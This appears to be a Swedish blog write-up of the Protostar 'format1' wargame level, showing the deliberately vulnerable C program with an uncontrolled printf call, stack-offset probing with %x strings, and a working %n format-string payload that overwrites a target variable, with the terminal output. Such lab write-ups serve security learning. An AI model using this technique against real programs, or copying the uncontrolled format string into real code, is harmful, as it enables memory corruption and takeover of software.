Format 1 och Protostar exploit

Format1

Så nu är det dags för format1 på protostar.

OCh nu ser det lite annorlunda ut.

#include
#include
#include
#include

int target;

void vuln(char *string)
{
printf(string);

if(target) {
printf(”you have modified the target :)\n”);
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}

Target finns inte inne i vuln. Så det blir lite svårare att hitta.

Ledtråden är objdump -t

Och enligt objdump -t så finns target på
08049638 g O .bss 00000004 target

Så då är det den vi ska sätta då. Då får vi leta upp vart i minnet vi hittar vad vi trycker in via format1

./format1 `perl -e ‘print ”AAAA” . ”%x.”x200’` |sed -e ”s/\./\\`echo -e ‘\n\r’`/g”

Och sen greppar vi 4141 så hittar vi en rad. Men det ser inte helt alignat ut.
41414100

Så ändrar lite och slänger till B efter
./format1 `perl -e ‘print ”AAAAB” . ”%x.”x200’` |sed -e ”s/\./\\`echo -e ‘\n\r’`/g” |grep 4141
41414141
user@protostar:/opt/protostar/bin$

Ok då ska vi bara hitta exakt vilken position det finns på

Och vi kom fram till att vi behövde AAAABBB för att få det till plats 131
user@protostar:/opt/protostar/bin$ for i in {1..150} ; do echo ”\n$i:” ; ./format1 ”AAAABBB%$i\$x” ; done |grep 4141
AAAABBB41414141\n131:

Fast när jag tittar igenom så ser jag att jag printat ut det fel. Så det som printas ut är ett nummer extra :)

Så i mitt fall så är det jag hittar AAAABBB41414141 på rad 130

Så är det ibland när man gör fulhack. Som tur väl var så tog det itne så lång tid innan jag hittade felet 😉

Och nu ska vi binda ihop det hela.

Target finns på 08049638 g O .bss 00000004 target

Så då ska vi helt enkelt skriva något till minnesaddressen istället för att visa det på skärmen.
Och det gör vi genom att trycka in $n till \x38\x96\x04\x08 (Little endian)

./format1 `perl -e ‘print ”\x38\x96\x04\x08″ . ”BBB%130\\$n”‘`

Och det blir
user@protostar:/opt/protostar/bin$ ./format1 `perl -e ‘print ”\x38\x96\x04\x08″ . ”BBB%130\\$n”‘`
8BBByou have modified the target :)
user@protostar:/opt/protostar/bin$

Det här inlägget postades i Okategoriserade. Bokmärk permalänken.

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *


*

Följande HTML-taggar och attribut är tillåtna: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>